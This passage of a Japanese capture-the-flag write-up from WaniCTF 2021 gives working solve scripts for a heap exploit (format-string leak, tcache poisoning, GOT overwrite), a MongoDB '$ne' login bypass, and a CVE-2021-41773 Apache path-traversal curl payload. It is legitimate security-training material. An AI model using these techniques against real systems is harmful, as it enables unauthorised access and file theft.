python3 solve.py [+] Opening connection to tarinai.pwn.wanictf.org on port 9007: Done [*] '/home/miso/ctf/wani2021_winter/pwn-tarinai/chall' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x400000) RWX: Has RWX segments [*] Switching to interactive mode Name>Hello \xb8\xfeI<\xff\x7f$ ls chall flag.txt redir.sh $ cat flag.txt FLAG{Now_You_Know_Function_Epilogue}
diva
heap問
void sing(char *parameter) { printf("🎵"); printf( parseVar(parameter)); // Looks Safe since we use % as register indicator! printf("🎵\n"); }
diva.cの37~42行目を見ると、sing
関数にFSBの脆弱性があることを確認できます。
for (int i = 0; i < 6; i++) { textArea[i] = (char *)malloc(32 * sizeof(char)); printf("%d>", i); read(0, textArea[i], 0x40); }
また、diva.cの159~164行目を見ると、mallocで確保する領域のサイズが0x20 byteであることに対して、0x40 byte書き込むことができることが確認できます。よって、次のチャンクのfdを書き換えられることができ、tcache poisoningできることがわかります。
これらの情報をもとに、以下の手順で解きました。
- tcache poisoningで.fini_arrayを書き換えて、もう一度main関数を呼び出す
- FSBの脆弱性を使って、libcのアドレスを手に入れる
- tcache poisoningでputsのgotをone gadgetに書き換える
from pwn import * elf = ELF('./chall') libc = ELF('./libc-2.31.so') fini_array = 0x4034b8 one_gadget = 0xe6c7e puts_got = elf.got['puts'] p = remote('diva.pwn.wanictf.org', 9008) # round 1 # fini_array -> main payload = b'A' * 0x20 payload += p64(0) + p64(0x31) payload += p64(fini_array) + p64(0x0) p.recvuntil(b'>') p.send(b'write %0 |%53$p|') # libc_start_main+250 p.recvuntil(b'>') p.send(b'sing %0') p.recvuntil(b'>') p.send(b'hogehoge') p.recvuntil(b'>') p.send(payload) p.recvuntil(b'>') p.send(b'hogehoge') p.recvuntil(b'>') p.send(p64(elf.symbols['main'])) # libc leak p.recvuntil("🎵|".encode()) libc_start_main = int(p.recvuntil('|'.encode())[:-1], 16) - 250 libc.address = libc_start_main - libc.symbols['__libc_start_main'] log.info(f"libc: {hex(libc.address)}") # round 2 # puts -> one_gadget payload = b'A' * 0x20 payload += p64(0) + p64(0x31) payload += p64(elf.got['puts']) + p64(0x0) p.recvuntil(b'>') p.send(b'hogehoge') p.recvuntil(b'>') p.send(b'hogehoge') p.recvuntil(b'>') p.send(b'hogehoge') p.recvuntil(b'>') p.send(payload) p.recvuntil(b'>') p.send(b'hogehoge') p.recvuntil(b'>') p.send(p64(libc.address + one_gadget)) p.interactive()
$ python3 solve.py [*] '/home/miso/ctf/wani2021_winter/pwn-diva/chall' Arch: amd64-64-little RELRO: No RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) [*] '/home/miso/ctf/wani2021_winter/pwn-diva/libc-2.31.so' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [+] Opening connection to diva.pwn.wanictf.org on port 9008: Done [*] libc: 0x7f97f0ecf000 [*] Switching to interactive mode $ ls chall flag.txt redir.sh $ cat flag.txt FLAG{in_this_dazzling_time}
Web
sourcemap
/js/app.bcff35da.js
のソースマップは/js/app.bcff35da.js.map
にあります。
ソースマップをエディタで開いて、FLAG{
を検索するとFLAG{d3v700l_c4n_r3v34l_50urc3_c0d3_fr0m_50urc3m4p}
が見つかりました。
... this.password !== \"FLAG{d3v700l_c4n_r3v34l_50urc3_c0d3_fr0m_50urc3m4p}\" ...
POST challenge
chal1~5に正しいデータを渡すとフラグが得られます。
challengeの内容は以下の通りです。
- chal1: データが
{"data":"hoge"}
- chal2: データが
{"data":"hoge"}
かつUser-Agent
にMozilla/5.0
が含まれる - chal3: データが
{"data":{"hoge":"fuga"}}
- chal4: データが
{"data":1, "hoge":null}
- chal5: ワニ博士の画像を送信
import requests import re from requests.api import get base_url = "https://post.web.wanictf.org/" def get_flag(s): return re.search("FLAG: (.+)\n", s).group(1) def chal1(): res = requests.post(f"{base_url}chal/1", data={"data":"hoge"}) return get_flag(res.text) def chal2(): res = requests.post(f"{base_url}chal/2", data={"data":"hoge"}, headers={"User-Agent":"Mozilla/5.0"}) return get_flag(res.text) def chal3(): res = requests.post(f"{base_url}chal/3", json={"data":{"hoge":"fuga"}}) return get_flag(res.text) def chal4(): res = requests.post(f"{base_url}chal/4", json={"hoge":1, "fuga":None}) return get_flag(res.text) def chal5(): files = {"data": open("wani.png", "rb")} res = requests.post(f"{base_url}chal/5", files=files) return get_flag(res.text) flag = "FLAG{" + "{}_{}_{}_{}_{}".format(chal1(), chal2(), chal3(), chal4(), chal5()) + "}" print(flag)
$ python solve.py FLAG{y0u_ar3_http_p0st_m@ster!}
nosql
DBにmongodbを使用しています。
「mongodb findone injection」と検索するとこのページが見つかりました。
passwordに{ $ne: 1 }
を渡すとusernameだけでログインでき、フラグが得られます。
import requests url = "https://nosql.web.wanictf.org/login" data = { "username": "admin", "password": {"$ne": 1}, } res = requests.post(url, json=data) print(res.text)
$ python3 solve.py | grep FLAG FLAG{n0_sql_1nj3ction}
traversal
Apacheのバージョンが2.4.49であることから、最近話題になったCVE-2021-41773関連の問題だと推測できます。
実際にhttpd.confを見ると攻撃条件を満たしていることが確認できました。しかし、今回はnginxがいるので、そのままでは攻撃が成功しません。
「CVE-2021-41773 nginx」と検索してみると、このページが見つかりました。cgi-binの前に/
をつけると上手くいくそうなので、試してみると攻撃が成功しフラグが得られました。
$ curl https://traversal.web.wanictf.org//////////cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/flag.txt FLAG{n61nx_w34k_c0nf16_m3r63_5l45h35}